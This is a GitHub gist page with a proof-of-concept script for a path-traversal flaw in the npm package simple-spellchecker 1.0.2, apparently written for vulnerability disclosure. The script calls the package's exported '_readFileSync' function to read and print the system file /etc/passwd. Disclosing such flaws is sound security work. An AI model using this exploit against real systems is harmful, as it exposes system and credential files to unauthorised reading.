Skip to content

Instantly share code, notes, and snippets.

@guilherme-goncalves793

guilherme-goncalves793/simple-spellchecker-1.0.2_poc_1_0.js Secret

Last active July 30, 2024 11:22
Show Gist options
  • Save guilherme-goncalves793/9c3125c6c8e33e0d9216847118137c63 to your computer and use it in GitHub Desktop.
Save guilherme-goncalves793/9c3125c6c8e33e0d9216847118137c63 to your computer and use it in GitHub Desktop.
Download ZIP
Package simple-spellchecker-1.0.2: the exported '_readFileSync' function can be used to read an arbitrary file which can be converted to original format.
Raw
simple-spellchecker-1.0.2_poc_1_0.js
// Vuln: path-traversal
let pkg = require("simple-spellchecker");
const filename = "/etc/passwd";
let fileLines = pkg._readFileSync(filename).wordlist;
console.log(fileLines.join("\n"))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment